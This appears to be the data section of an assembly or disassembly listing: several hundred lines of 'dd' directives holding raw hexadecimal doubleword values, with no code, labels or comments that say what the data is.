dd 0EA06FCEBh, 0D938822Bh, 0AD33F955h, 9D84A2F1h, 9001181Dh
dd 2150F98Bh, 360D820h, 21F5854Fh, 3E75E33Ah, 34F91001h
dd 49318851h, 0F6EA1254h, 868597BAh, 0ED2EB6F1h, 5C37A993h
dd 0FC3A4000h, 6AB8F780h, 3CF6FF5Ah, 81B330E5h, 4AE282DBh
dd 0BE87E58h, 6DFA2D6Dh, 0B655E043h, 0B90107AFh, 0EDF738BEh
dd 622FF53Ah, 7A2C3706h, 105B0BC4h, 4FFBB038h, 2FFA5025h
dd 4A52D9B7h, 0CAC0DF10h, 0ABA41588h, 0E7AC0A92h, 8644608Bh
dd 1E2C1302h, 40D1F33Bh, 1259F1B0h, 4BA18529h, 72A361A1h
dd 0BAB2FCD6h, 0ED8273ECh, 9FA14CFFh, 58A5CF79h, 0AFE70414h
dd 54494234h, 8887C0A2h, 13C0D317h, 0BB36C789h, 0B82E0A8Dh
dd 99BDC2EDh, 0BC5F0433h, 0D4E5022h, 0C82B81C4h, 0D19A4EFAh
dd 0B4ADDF80h, 9360E932h, 619D2943h, 155CB907h, 2D122D01h
dd 7F1DF208h, 150ADA6Eh, 0CF270055h, 42E9FE33h, 0A5360058h
dd 153D0438h, 0F828CE95h, 0DF4BC45Bh, 292924D2h, 5669A654h
dd 80AF477Dh, 950D6E77h, 0A516F63Eh, 0E045DE40h, 981DEDC0h
dd 2EDE721Ch, 2DFBB282h, 64405E6Ch, 4E28AEF9h, 3EB2580h
dd 231520ECh, 5895F19Dh, 667E407Fh, 0DC94BF17h, 75C82FA9h
dd 6140D12Eh, 5F45553h, 0D77AFCBFh, 0DE35964Bh, 77ADE5BEh
dd 16173235h, 23A3A560h, 0B26026A8h, 61F209C6h, 82C14888h
dd 0F9BD3157h, 0E140D354h, 4E9509FCh, 7BB687F1h, 0BE77418h
dd 36338705h, 12FDC02Bh, 9409E5B8h, 7BDED60h, 0C1A2C7ACh
dd 6E3F5DBAh, 857B9000h, 172ADFDEh, 128BBBD7h, 0D002E6DDh
dd 3925FC5Ch, 0B6488396h, 92028842h, 19D7180Ah, 1508D9A4h
dd 0D7FF2C5Ah, 70683ADEh, 0DDFF7305h, 0AE8CBAACh, 0B4855ABDh
dd 0D94E95C9h, 0A6EC41E9h, 0A0B8CF12h, 6A4ED8E7h, 94180368h
dd 0C011D0D5h, 481BA15h, 97CA10F7h, 684812Eh, 0DA2F2ECEh
dd 4E298110h, 0B6D240FDh, 23726DAh, 4EE923C4h, 78C19B8h
dd 7D1792E7h, 0D971392Fh, 0E2E1FF89h, 51935655h, 0A8F2B87h
dd 0F69D9522h, 61BD600Ah, 14972904h, 1474571h, 3E215F98h
dd 6D295CA5h, 6F12DBB8h, 17E15FBAh, 37B84569h, 0B4A9F24Eh
dd 3376448Bh, 728BAB09h, 35D66B25h, 0DB6618DDh, 76C40028h
dd 433B4E11h, 0D600E2CDh, 0E0A2640Ah, 4521B58Bh, 0D1887D2Ch
dd 0BF20ADDCh, 5B86770Ah, 0ACA88430h, 156C527h, 5B852DF8h
dd 4C44FF90h, 0B3044311h, 3BAC12C3h, 7EBE87C0h, 902C40F8h
dd 0D8177F56h, 0D168D580h
dd 0AAA1320Bh, 0F256DF6Ch, 7DF82E02h, 0CFAE5655h, 76ABB3F2h
dd 32B82EFDh, 52D7E916h, 3116F15h, 0DDCAFB61h, 0E9B7E089h
dd 1253880Dh, 37195C0Eh, 705161DEh, 0A8E57366h, 4AF19520h
dd 0D2F3B207h, 23A07BB6h, 860DE91Ah, 1B0C8B0Fh, 2208A73Bh
dd 4A8590A9h, 4BDBDEF9h, 0FEC21F88h, 78A8017Dh, 0CE827E88h
dd 0FE126055h, 66F51525h, 4ADC9DD1h, 92397C4Bh, 80DAAFDFh
dd 406E1D8Ah, 7CE175DAh, 5652C502h, 829AB96Bh, 9118DDEh
dd 462D8AF0h, 0DEBAFE04h, 6C095902h, 7D5C8234h, 23A1C1h
dd 9E6BB96h, 50606ADCh, 97601970h, 7BD9A516h, 9C8B956Fh
dd 0F2607A4Fh, 9685C2Bh, 0C562A0B0h, 0A05B1A57h, 0BC634F66h
dd 0DBED973Ah, 0FC6033C1h, 6BBFF16Bh, 0ECE0B4A7h, 0B21F7C78h
dd 0ED8BE821h, 0A9ADD50h, 6B11EF5Fh, 46B503D7h, 9EB4B95Bh
dd 0A3ED86Fh, 6E6688h, 0BA19A9CEh, 72CA8E59h, 5CF6615Ah
dd 0C04B2BE1h, 0F1B733A7h, 95290751h, 3D7E3BDDh, 6089DF7Ah
dd 0A51F6D57h, 0A9401C4Dh, 1ABC5A7h, 0B82162AFh, 1024E9B2h
dd 0BF5ECB80h, 47A5D959h, 0BB055CC3h, 6B5F2E7Eh, 68C185DBh
dd 0FCB177B3h, 0BF1296E7h, 0F91C32C6h, 91B32292h, 89827F88h
dd 5C1BC59Dh, 46C7088h, 0B5A90282h, 9280FB26h, 0CFD9AEFCh
dd 0CDA89269h, 57E3CB2Dh, 0BB66F200h, 8995F006h, 0D8E77B6Ch
dd 0A57E49F9h, 73A7B703h, 1006AFCFh, 4F1CB1C8h, 14C418AEh
dd 61810541h, 8180342Bh, 61CE2860h, 8CDE4184h, 4FDC7F0Ch
dd 82EE02D4h, 0EB187EDEh, 58DEEDF8h, 0E2F0746Dh, 955511A1h
dd 90DFCB8Fh, 9C84C61Bh, 2E548AFh, 807B6D69h, 0EF77A0A9h
dd 0D3004EF0h, 7AE1CB9Bh, 0DD94FA25h, 14167DB5h, 0BB9F1C60h
dd 5A051385h, 4E48C137h, 57302BECh, 9624D780h, 0EF32D0Dh
dd 732EBED8h, 0B9172CFEh, 6D860CDh, 0F4000570h, 8149FD6Fh
dd 2512E173h, 5B624D52h, 63E0C74Dh, 938AF21h, 739193CEh
dd 20D92902h, 81E190F4h, 9FC4C9F3h, 8B899554h, 46D64854h
dd 0AFE25B18h, 38CD0126h, 0E59D2DDCh, 86E4027Fh, 0A4BDF7B8h
dd 25EFEF93h, 0D66E5A56h, 0DA25F34Ch, 0FBB7D56Ah, 0F27B607h
dd 576991E9h, 0A080AD3Ch, 0CF61081Ah, 8F054D1Dh, 8859DC80h
dd 5E40CD09h, 9673F95Fh, 7DA96C12h, 8C19ACh, 71AF50FCh
dd 8B965EC2h, 20EEF94Fh, 99F6AE49h, 0F85A6B00h, 0AC72869Ch
dd 20BB0D1Eh, 2B315B23h, 14C8AE9Ah, 0E2ADF0C4h, 80F6DAD2h
dd 0B5111FF1h, 7460785Fh, 0AF909DF9h, 105B5486h, 2C8541BFh
dd 6C610288h, 7E0E27E9h, 0C2827163h, 40536F75h, 96112EDBh
dd 6817D71Dh, 22AD16D5h, 0E76F3813h, 0B8372300h, 0DF613878h
dd 0BD25B700h, 55FE07DEh, 537A0AF1h, 24FD6EB3h, 0DB7A5B6h
dd 79A66102h, 13146C37h, 0F70E820Fh, 0DFB50006h, 0B2AA33BBh
dd 5BFD058Ah, 655FF851h, 65F809F2h, 0EDE9CB77h, 0C0D89EAEh
dd 2625A6A5h, 0E91B16F7h, 0B110EF53h, 9501C239h, 1845DD6Dh
dd 0C98D8904h, 6984BAACh, 0E3FDAC28h, 7AFE8559h, 10BB00E8h
dd 8AA4E1CDh, 0BD890909h, 0FB593295h, 0B7C6FE42h, 0A1D28033h
dd 72DF765Ah, 120DEB5Ch, 0FEB3BC50h, 0A0C1E6D3h, 95FCE923h
dd 0C044F08Bh, 8AB8C900h, 9A7E50C5h, 0C18B2F35h, 0DEABA40Eh
dd 75E94056h, 0C900E5B5h, 8B9F3B3Ah, 84E69CF8h, 48E1E5BBh
dd 60578001h, 33131DBFh, 0B209B4F0h, 0AF905F61h, 0B31990EEh
dd 0EA3186A9h, 0C4E4EBDFh, 0ECBDAFB9h, 64621D21h, 5B167562h
dd 462D0027h, 608184DAh, 8672D016h, 24A53DA0h, 274AFF0Ah
dd 805222FFh, 0B858D7EBh, 9A8F84Fh, 626EEAD2h, 5A699800h
dd 73BF51AEh, 88CFFBBFh, 890E222Dh, 0A884D3B5h, 0F02BE6AAh
dd 50CEB407h, 90F6FA60h, 2215256Eh, 46D4C97Eh, 5BDD0118h
dd 0B74CE084h, 0E234F62Bh, 207E3117h, 6EB5E20Ch, 0B3F7107Fh
dd 0EAB712C8h, 0D28D83B2h, 0E4E67B44h, 66EE30F0h, 7E026A24h
dd 0B0E73ADEh, 1AEF9A8h, 35D381FBh, 814BE8BBh, 0DB12700Ch
dd 0E12E905Ch, 71202BBAh, 0FE8083h, 0C2EB6B18h, 0B1B96020h
dd 0A79F2EFEh, 36A4BB15h, 20EA9D84h, 65B035ABh, 20CD6907h
dd 5EF15145h, 0AC2A5061h, 84929D50h, 0DE7A9CEAh, 4CAE2F00h
dd 0BDCCC21Fh, 900F17BFh, 93E256h, 3C87EE53h, 0FAB9AF28h
dd 0FC5F5A80h, 6304AAD6h, 916AF9C0h, 2A1EE978h, 0AF24E1CEh
dd 0D01E2BBAh, 6E25EBA7h, 93C20279h, 37DD9C4h, 0A51D68D9h
dd 0F8A14090h, 7C6F0D01h, 92068ADBh, 9005312Eh, 23BC4251h
dd 7A508BC1h, 51D291A5h, 805D27B9h, 311A5B05h, 7F0B03FFh
dd 3C141B54h, 0C0F22E25h, 0A68A0FB1h, 0DC8942C9h, 74D7100h
dd 0E65AE8E7h, 8B7EC505h, 0E3DCAFFAh, 722EF1B7h, 0BDFC9D1Fh
dd 0D5F934B2h, 17911BB5h, 0E62F8681h, 6A652436h, 0DC66F6B5h
dd 80902F1Dh, 6A482C80h, 510FFC01h, 0FA305D8Dh, 0FF214A49h
dd 8D00E56Fh, 0F3BFF589h, 604B3827h, 88092498h, 414BBD29h
dd 77B0590Bh, 511FFA4h, 0A10C70E6h, 6FE43761h, 0E4D2F671h
dd 0EFBEE625h, 0D533F142h, 0DAFC0C96h, 24B120C4h, 0A2AB1213h
dd 72F71668h, 0E26B7D00h, 1665DC54h, 0AD6FCADDh, 69DA251Eh
dd 2EF995EBh, 0D67FB308h, 8831D12Eh, 7F9EE963h, 0B7497F57h
dd 609370FCh, 174C49F3h, 2977435Fh, 0FBFC9195h, 0E02EE989h
dd 6E1990Ch, 0C924A912h, 22A6F63Bh, 361A10Eh, 0BBDF8010h
dd 7E5AE928h, 40CB1295h, 259FA274h, 0D0645838h, 3BB7454Bh
dd 86FD901h, 0D44ADB3Ch, 3E03F773h, 2529D59Fh, 0F6F9ADFFh
dd 0AD3256C4h, 8DAE98ECh, 9C088216h, 60622417h, 9D29BDBEh
dd 0DD0CCD04h, 0F6AD3E6Bh, 1854F84h, 1F3D9D89h, 0C819CF6Eh
dd 5465C015h, 0D19DFC8Ah, 7709AF1Bh, 44A70F59h, 253E0FC2h
dd 3900DE8Eh, 2B7DFB62h, 0F067100h, 7C0C16D2h, 403ABA46h
dd 0B92A5B22h, 6495C8DAh, 78C49305h, 605A4A62h, 8A8B00FEh
dd 8589FCF9h, 0B84949BFh, 0D8A053C2h, 900A03Fh, 57994A95h
dd 50EEBF66h, 0BA39C6F0h, 21D2E60Bh, 0C225840Fh, 79075621h
dd 76927180h, 0EF09E583h, 4DE657D8h, 48057120h, 0EC4AD923h
dd 9EEAD23Bh, 70AB925Eh, 55BD09BEh, 4AAF5FD0h, 0E8A99D94h
dd 82F09AD2h, 0DDEB9D67h, 12A4CF79h, 2FBF4A3Fh, 0DA8A1F45h
dd 839BDC4h, 0F079F6AEh, 186DD49h, 0AC0BE11h, 2E6A81AEh
dd 8A970728h, 5D178255h, 704C7D8Fh, 93957197h, 2D820833h
dd 45526112h, 0E2E89FB9h, 84194B16h, 0A9AA56EBh, 8C1BAC6Ah
dd 718F6400h, 5E6C2BA2h, 25F89092h, 92DD2C09h, 0D446FCEDh
dd 693FA47Dh, 0DFEB820Eh, 5C3FECA0h, 0ADB15167h, 0DE7DD656h
dd 1200D27Eh, 79D4B3D7h, 972AF1A5h, 9A458C14h, 0F7E5AA20h
dd 2296CE6Ah, 42BF0251h, 6062AC96h, 9BE0466Dh, 253B28D8h
dd 8B5F9495h, 4ABA5068h, 26A8B22Eh, 2916D989h, 21A16721h
dd 5BF9F36Bh, 9BBE6B12h, 0AE5FC0EEh, 980ADBFCh, 9A642757h
dd 8189985Dh, 946225CBh, 88FC5DC6h, 0E62E02B1h, 976B1440h
dd 0D9DA2DEDh, 0DE8AC9B0h, 0EDCC5F4Eh, 79BD1031h, 0B7501F23h
dd 5D230967h, 34006C37h, 2B1928B6h, 60B42DBDh, 3109F1E6h
dd 5714B18Dh, 854EFFCEh, 9734FAh, 6847DB80h, 0D2C46DEh
dd 509C00Eh, 84815D43h, 0EE124521h, 0E41F5E51h, 0E077C04Fh
dd 0F69095AFh, 0B584D6DBh, 4E072C9Bh, 0CB0B7F7h, 9C094EF8h
dd 4EADB1Ch, 0DDB8FBE5h, 0CD380C0h, 7697AAE9h, 0E2F992B2h
dd 5D1A8A3h, 0F67D38Ch
dd 7C8ABF82h, 9B6A12h, 19A183C4h, 0CD024102h, 0D2F13D88h
dd 56EBE298h, 0E8BF61AAh, 2E74E9B6h, 0B131AC33h, 0DD6A2C01h
dd 0FACD3BA5h, 898FCC2Bh, 186E2AF7h, 51201900h, 8D91A5D9h
dd 89813F12h, 7CC5400Bh, 3AE81723h, 8E5B24CEh, 467FC0E9h
dd 404E9C04h, 4E564F22h, 0D593F217h, 318DFC30h, 0A2F90048h
dd 2DA14FA3h, 6375C3EAh, 0C2287900h, 0D1BF965Bh, 273C2FD5h
dd 0A4E4A442h, 0BCB8C895h, 3ED902E8h, 0A7F8EB09h, 80A6F15Fh
dd 969871C5h, 11D51B8h, 0F3209C99h, 89DB047Bh, 0C4D4B8DFh
dd 28AB80B7h, 0CE1DBB56h, 50932520h, 1A801CE8h, 52A2AE6Dh
dd 9CC33D02h, 7F500863h, 52A5F8FBh, 0EDB3986Dh, 95CEB7C0h
dd 0FB466B66h, 49CF8009h, 0DD59B401h, 0BCA02F90h, 88F84E11h
dd 7C026379h, 61CA804Fh, 6AD79850h, 4C6902C2h, 0C3F1DCA0h
dd 9D8A6EFDh, 0BA0078C4h, 5B8BAC15h, 5E453Ah, 0F4E17DC9h
dd 5F12DCABh, 1CE603Fh, 6C6BF90h, 0DD266D1Bh, 0D3816100h
dd 20EDFD5Bh, 0A1881697h, 2FAD3154h, 2494053h, 5F25D50Dh
dd 84B3356Ch, 0F87978h, 897E0B5h, 5C6220F4h, 3FE8B05h
dd 3BAB219Dh, 75E6F440h, 3AC46CA0h, 0DA6EE85Ah, 9C4AD601h
dd 6F600C78h, 252EA508h, 0F940307Eh, 9FCF740Eh, 0D1C845A0h
dd 7E001DE3h, 293515DDh, 0E5596160h, 0CDC1292Eh, 0AFA73A04h
dd 0AEAD4BA0h, 2B79E202h, 4C3DEF5Dh, 88F2C2h, 0C403CB2Dh
dd 4F987063h, 0C84E4C00h, 0F0BCAE1Fh, 420D48EDh, 875EB9B3h
dd 14C84BDAh, 0CB802CC0h, 72FBB5B0h, 7C42A5BDh, 700155C6h
dd 9550E2CFh, 5E45AA20h, 0A2E1FC15h, 2010CC8Ch, 965825ADh
dd 95082256h, 5043F556h, 12A4965Bh, 9B964C18h, 0EE927Fh
dd 0DBC60F71h, 90B56084h, 7C06BB94h, 57501A1h, 5221A027h
dd 0B695C65Fh, 34BA6F64h, 7F8E9070h, 98976104h, 958D8936h
dd 2FBB1CC8h, 0AA75D12h, 0C4F9DFEEh, 44C0767Ch, 9F1F09BDh
dd 0A903156h, 0F3830F16h, 0CE5D39FEh, 0B2D7FBF9h, 410E0008h
dd 32DD5D21h, 3CD0004Ah, 0B3D85C43h, 0AE28D767h, 0D125E6C4h
dd 48745929h, 128E0F33h, 397E61A2h, 88AC5A71h, 5602E109h
dd 0F6B34252h, 192CC45Ch, 0D5B600DEh, 7BA2A10Ah, 3D2D2E8Fh
dd 5F9C07h, 6CF2B1E4h, 0ED8028B7h, 0DB4DD4Eh, 0CC344B8Ah
dd 334BB303h, 9CBFD984h, 0EC00EE03h, 2E773A5Dh, 541ADD75h
dd 5A0FDAA3h, 0C06DA381h, 651ADBFh, 536E9528h, 0AA8DC33Ah
dd 0AA013196h, 79FDDF27h, 4D3058DCh, 80A94F89h, 96CC42E4h
dd 70917B9Fh, 9802261Ch, 0AFCD3E35h, 0C2095D14h, 0CF53BD56h
dd 5708A1C2h, 6DA7B5C5h, 2B6642E4h, 568BE25Dh, 102E7167h
dd 93721BFh, 60502D2Bh, 76973F66h, 1714963h, 396FDA2Dh
dd 9880FD25h, 5BDF956Ch, 0F6B8E81Eh, 5A5FC325h, 96F84F2h
dd 2D1D8529h, 76A71373h, 81CFE160h, 20F9C3D6h, 46F22B3Eh
dd 43597E9Ch, 0CE1B46C0h, 0C900940Ch, 0D86AB99Bh, 1C4C2201h
dd 0B1831653h, 2B5FF998h, 0B64B7CE7h, 0B7BDA0A8h, 57789D73h
dd 4A2B9495h, 0B4C6A76Ch, 1227E2EEh, 26E5EA72h, 0AD7A6Ah
dd 272BDBCBh, 0E1C649B6h, 0F52CB67Bh, 0DF8BB704h, 6BF53EB8h
dd 0F2E2008Ah, 56FDEABFh, 0E9A512ECh, 6F45E1DAh, 0B480F19Bh
dd 999D0B82h, 0B0562E5Eh, 0DAAEAF85h, 3070D3F5h, 90FC32h
dd 0BF501FB3h, 13EF5C76h, 3973F3h, 12945FA6h, 7D9124A7h
dd 0EC27A7Eh, 0B09DAA44h, 0D2DECE41h, 980A64Fh, 194A82C9h
dd 17CCF50Eh, 5FB795h, 0E49373CBh, 0C9588160h, 55611208h
dd 0AD5BECE2h, 81C0DFB3h, 0BC04AFF3h, 0E193A046h, 0E8FF4B19h
dd 0C3B5C0DFh, 9CBF54h, 4DAD58DFh, 29181CEBh, 0AEF3A202h
dd 5760AC48h, 2156E84h, 5561C28Ah, 0FDA54FBDh, 0B17C5FA9h
dd 0B550FE0Eh, 137EBC8Ah, 44990C49h, 0AABCB700h, 0D480F99Eh
dd 0BBD0DFA4h, 98914CBFh, 0D0520B2h, 487063BFh, 0F1C04F60h
dd 0CCE47AD3h, 0FE421F1Fh, 80A467C0h, 18C7B509h, 0A0573792h
dd 6BE35BF8h, 0BDC3D8FCh, 60B5259Dh, 0D52E17CAh, 0EAE0B200h
dd 1D784338h, 2BF301B5h, 0C7F511DFh, 8B522E52h, 0C01C9BBFh
dd 0D55EF98Ch, 880E69E2h, 1D69968Bh, 5E53F9Dh, 9D1A920h
dd 0D026BB66h, 5744B771h, 17233Fh, 5DE694D3h, 0EFB6026Ah
dd 944D02DCh, 50F215C8h, 8027D47Ch, 0A3CBBA0h, 0B075D7Bh
dd 0A32902DFh, 0C7D71BE9h, 13EB12FFh, 0F0C9F691h, 13CC90Fh
dd 0A03518Ah, 66ECB36Fh, 0F0EBF7EEh, 0B94B2FBCh, 0BDD6457Eh
dd 0C8C4BDB0h, 30A82507h, 0D7FEE08Ch, 0BA06A908h, 0A60DB80h
dd 56901833h, 9D505B39h, 587CD88Bh, 2B7910EBh, 0E6616012h
dd 0F7810147h, 2F21939Dh, 0E291E63Bh, 0D6613019h, 0EE3A4F26h
dd 27890F0Ah, 8F686425h, 5EFA4082h, 6805D610h, 1F5A390h
dd 6D387E8h, 610E292Dh, 0D888FF5Eh, 0A4DC1F05h, 3187C327h
dd 0ECA09EC2h, 5CB8BAC4h, 7C28ED2Dh, 6C5251D9h, 0D3BD5B43h
dd 3175BD82h, 111AD97Dh, 0A19D3EFEh, 2DB2425h, 77DC01D4h
dd 2996415Ch, 97D86CC8h, 0BD2B3E00h, 56B72F41h, 39D26B94h
dd 92C0F600h, 99ACE36Ah, 52191791h, 0D062EB42h, 984F89BAh
dd 0BA775h, 80EA18C7h, 4BADD61Fh, 9146B203h, 0B80DFCA8h
dd 0B7176C52h, 8100C873h, 88381987h, 2DF973BEh, 692C3A9h
dd 8CE6597Dh, 43C5B5Fh, 25259198h, 409A541Dh, 9720CF81h
dd 2B50A400h, 8BFD8AC8h, 0FF895ED1h, 0A2E99146h, 0B5577E59h
dd 5F5CA564h, 4C441CA8h, 0C2B7127Bh, 4E0F74E0h, 9AAE38Fh
dd 565F9FDFh, 0FC564474h, 9CFC96D2h, 21720D00h, 0F2D6DA28h
dd 53200B00h, 0A9B049EAh, 816B031Bh, 45A176C3h, 0D1A2CC72h
dd 95B36CFFh, 52189FA4h, 1520E5F8h, 2DDFBB0Fh, 20AAD6D8h
dd 0BD335082h, 65A29170h, 5F4BA956h, 0AF0B1605h, 2C4C34CEh
dd 0BD8CDC4Ah, 8484E570h, 0F904BD89h, 0A98AEF29h, 0B394407Ah
dd 0EDF84Ah, 0DD7CE7E8h, 2EFB80A1h, 2F087962h, 0A59BC01Eh
dd 473ACD0Bh, 4007198h, 5F62DF8Eh, 9D0F86B9h, 0CCD1F8DBh
dd 0EF964838h, 0F06E4971h, 959DC86Ah, 77E1841h, 0CFB78096h
dd 11E960A2h, 92FEBA20h, 2CDFC48h, 0C065C51h, 927527CCh
dd 0BD8AC00Ch, 53BA9525h, 0BA5187D8h, 0CE826A08h, 0F64F550Bh
dd 8091B5A7h, 3DB36E85h, 0F63705BAh, 35749406h, 67E8A7E9h
dd 1755CD4Ch, 6EBF01EDh, 521D29F0h, 22AC3600h, 9337849h
dd 6962E7B1h, 17558602h, 1D4DA57Ah, 0DBA24E9Ch, 840157A8h
dd 978D792Ch, 21010A8Fh, 0BD5F8408h, 0C0B92299h, 9934FAD3h
dd 0E9E0B2BBh, 0E4013F37h, 0B6B2DB84h, 32E06EEEh, 9CB0481h
dd 0E91BDD60h, 4B0CB838h, 22B58A03h, 0E660626Dh, 7F8201A5h
dd 5745113Dh, 0FD259120h, 5AF75426h, 135FB57Fh, 0B04713F7h
dd 0B8E6F394h, 61FEC905h, 51E6E1FFh, 99A103E0h, 508CFC2Fh
dd 36682524h, 0CA108BC5h, 16AC52D5h, 0D6D57525h, 4A5E1C5Bh
dd 0B988AACh, 9CDF1759h, 0E2AD4AAEh, 8BB0922Ah, 0AC0E8A6Ah
dd 0FC604138h, 746B0B97h, 0FE98DCABh, 15E59512h, 0D24A87E2h
dd 8229367Bh, 553129A5h, 30B1C6Eh, 0DF14D1BDh, 9D2B6CB8h
dd 1ED1DA9Fh, 0FA8A5090h, 61BC444Dh, 43F9DB00h, 670DE08Bh
dd 9D0909C1h, 6FDF08CDh, 7B4E6009h, 0CE2CF2EBh, 722F6445h
dd 279DECDFh, 9C5D0A5Dh, 4B8C4B47h, 519856A5h, 3F007C33h
dd 28BCC6E6h, 0B026C82Fh, 0DE0EB5DFh, 2970835Ah, 21E6DAB5h
dd 0F09807Eh, 8B48F18Dh
dd 6D7585D1h, 661EC09Bh, 85989AC1h, 9F06F120h, 5F65675Ch
dd 204704EFh, 0C2C2A8D7h, 77B70FF8h, 290B48CCh, 112B058Dh
dd 0BCD8DB69h, 1BF2FE9h, 7E418A6Fh, 0A0FB3A0Fh, 5B9D2959h
dd 0FC63F0DDh, 0D4AD749Fh, 68C05B9Eh, 250D29CDh, 91C6DB96h
dd 0FD8C9A95h, 8E398A10h, 0E26EA00h, 8611FEABh, 0BC2D5EDDh
dd 6094F77h, 42BA555Fh, 0B5D4FDD4h, 8924F770h, 38280106h
dd 0A82EAD24h, 0DD8F9A53h, 5849BC71h, 8D313A7Fh, 9D8F32D8h
dd 961D0B68h, 66E0DAD2h, 8088B957h, 0AA4ACC41h, 0D31C3E63h
dd 0F495BB9h, 7F258831h, 164D125h, 0F69365F2h, 0FDD03BF4h
dd 1780D381h, 0BF0F7619h, 605AB56Bh, 0F5993402h, 0AC1B8C4h
dd 22C66803h, 0A2F180D2h, 88411700h, 46D7201h, 0EFF8E3D6h
dd 4C01AEAEh, 7F29E139h, 81F29B2Ah, 2FE106FBh, 0EF4AC42Fh
dd 0BD9600A4h, 3D80FD3h, 3E392A06h, 20C49CBFh, 91BB05B2h
dd 0AA6A4079h, 3190799Ah, 67A3BAC2h, 0BBC07374h, 25382BFDh
dd 20D36118h, 1EDC4072h, 0A51C1786h, 9309AFA6h, 7A455C18h
dd 3F001F79h, 0FB3CA8D1h, 1C5A0047h, 119E8439h, 0E809BB26h
dd 597A4EEEh, 0B20E448Ch, 49FA4F54h, 6A641E69h, 0A48EFB4Bh
dd 769A3AE9h, 5B506880h, 535D6749h, 1575109Dh, 1111093Bh
dd 17AB5F25h, 0E105F612h, 826F9FFDh, 1C573400h, 0BBB14E5Bh
dd 9804757Ah, 81C63E0Ch, 40B3D17h, 7E502CAEh, 839D044Bh
dd 89F798A5h, 0BD6A58D8h, 0F40656h, 9E2AF47Ah, 76641EFFh
dd 4180E799h, 54A8B9F9h, 0AD550542h, 0C79E4A08h, 171D2460h
dd 600A62BBh, 28408174h, 25A84B93h, 987D6126h, 4B45BD5Ch
dd 4929D2Ch, 0C640EBDEh, 0EAEFCB81h, 96322E2Eh, 0AFE9600Ch
dd 9C5B6D30h, 0F04CE9B2h, 5F0AAC00h, 0C6EBF50h, 961AF31Fh
dd 465A943Bh, 21A9A19Ch, 5B7D8B2Bh, 7881BB9Ah, 7DBAB3BDh
dd 59858222h, 0FB8B022Ah, 51B6F35Dh, 7442618h, 213D3854h
dd 4E155FFBh, 9430044Eh, 29F67804h, 0EDA80169h, 9D659C04h
dd 0B5F8CC51h, 0D6F77BC0h, 0AC00F015h, 1AF25F14h, 4BB239C2h
dd 0BD8398DCh, 0A52BDD21h, 1DC2C5Eh, 0A52C5003h, 0EA88D076h
dd 141427Ch, 2FC4F2E7h, 978FA52h, 0DF6D85E8h, 0D39DB570h
dd 6B93716Ah, 27592405h, 530372ABh, 0DBBD6DF0h, 0DEA73CCFh
dd 72F4A9DEh, 7AEB0132h, 2358D5CCh, 5B2D6C0Fh, 0B5010C30h
dd 9C164BD1h, 7AF92963h, 0AF6C2FB5h, 0C0ED9E4Fh, 5E2C53E2h
dd 34CF2ED2h, 325C25BCh, 2F08E942h, 0D3024303h, 61BB6EE9h
dd 75F73AE6h, 5696DE07h, 1DF65B60h, 61D1314Bh, 3145603Ah
dd 264E89BDh, 18BC7BF9h, 9DB8048Ch, 0B8EC4A46h, 5FBBA3C4h
dd 0BC52A928h, 2E5E3990h, 53B87C1Eh, 0FCE231h, 0F7367CFh
dd 1702FBD9h, 0AF5E135Bh, 8EF4B2C9h, 4010B917h, 0BCCE8B11h
dd 84779000h, 3D44BFCCh, 71CF2DD5h, 5F330557h, 800A5A2h
dd 614849D2h, 0A74C348Fh, 0A3962EBEh, 0E0A5A92Ch, 268CBDC7h
dd 1ECC5956h, 2810AF31h, 0DF008F92h, 0D2694095h, 3522A0h
dd 4F06B1D0h, 84BE6DEAh, 8B5EA509h, 2984F5F3h, 0C16BDB96h
dd 0B7D8200Ah, 0B88BF5F6h, 5E526756h, 0F3892DDCh, 0CF955170h
dd 73A60A4h, 99008BDAh, 0ADC5BF36h, 9060130Fh, 2FD2062h
dd 6162F1FEh, 0B2255D78h, 48D3F748h, 2152F31Ch, 0A64A62F7h
dd 0AEA2A027h, 0F8B913A9h, 0DD108175h, 7B040531h, 38AE1711h
dd 0C2E1639Ah, 0E0514DF5h, 0E33547ACh, 0B7E2E104h, 0F3BB8B3Ah
dd 0C0025810h, 0E3E68226h, 6AD00208h, 8D954A39h, 0C1C881A2h
dd 6DD5CAD7h, 1CB9E0A2h, 9697EB46h, 964DF66h, 2E89358Bh
dd 76A64870h, 0DAEF2400h, 2DC92E63h, 23742542h, 85D834E9h
dd 0F802C33Ch, 4B74B3EEh, 3229A2C9h, 0FC58BB09h, 68BE8520h
dd 5A5A9987h, 0B1D1AEF8h, 0D3025FBCh, 1CD0EAC8h, 0AEDA7531h
dd 39B74EC3h, 4A79D289h, 3E53F76Ah, 0E157E78h, 0B9188CC8h
dd 0AFCCE824h, 0AD6784C1h, 696BA12Bh, 3B850418h, 0DBAFFF2Ah
dd 384C5B0h, 0D528DDC2h, 7BFA4AD9h, 0CC020042h, 8683067Dh
dd 3A2CEF16h, 0DE1D1E30h, 0BC983D67h, 25DAB0B8h, 80C6EC78h
dd 87983809h, 14DA0036h, 0C8C9E3DDh, 0BF3EEC30h, 2539DA4h
dd 4BB63240h, 0B0605F5Dh, 16DEAC2Eh, 0E83D18F6h, 5857C455h
dd 6E2EFFB1h, 8820194h, 6A4AE2F9h, 0B8E7A92Bh, 0E1FD0097h
dd 18439874h, 0DE4B8A76h, 0C52F41CDh, 3D16BAA2h, 0C0539FAEh
dd 0E86AA911h, 0C4465D87h, 0EBD1FF85h, 0A25A51A2h, 178CCE5Fh
dd 5CA06DB7h, 3E02DF12h, 7E7AED37h, 0B798DF9Ch, 59009EBCh
dd 0B3C6B7EAh, 92B15h, 34F7B93Eh, 6AC8A42Fh, 0D6510225h
dd 319102E6h, 0D54A5CD9h, 8C00557h, 0E21DB6ABh, 0AE4C1Ah
dd 0BCB760FEh, 94BC4ABh, 15AA5B8h, 0E880A9E9h, 62301E73h
dd 79134C00h, 0E9A8871Ah, 7267B5F3h, 0C2124512h, 83549BBFh
dd 0D109CC8Eh, 9B2F3E5Ah, 921B8AE6h, 3276D08h, 0E1C860BFh
dd 6D75F8EAh, 671D643Ah, 91846A70h, 0ADB305DEh, 0A555A46h
dd 15F1D6D2h, 0B64ED23Ch, 6649E0B4h, 0F0DA00CAh, 0B550C2BBh
dd 0C8D68D89h, 0B2A4D7A8h, 52AF5F42h, 0E278E657h, 0F333301Ch
dd 0D838C901h, 0F5828F9Fh, 0A8F8A23Ah, 28FC0055h, 0DA03216Fh
dd 0E74B919Fh, 0A3355F20h, 475A3FC8h, 4202609Ch, 6A0FA95Ch
dd 71CD5BF7h, 0DD0020ACh, 3D70C18Ah, 1B312935h, 0C17ECDE5h
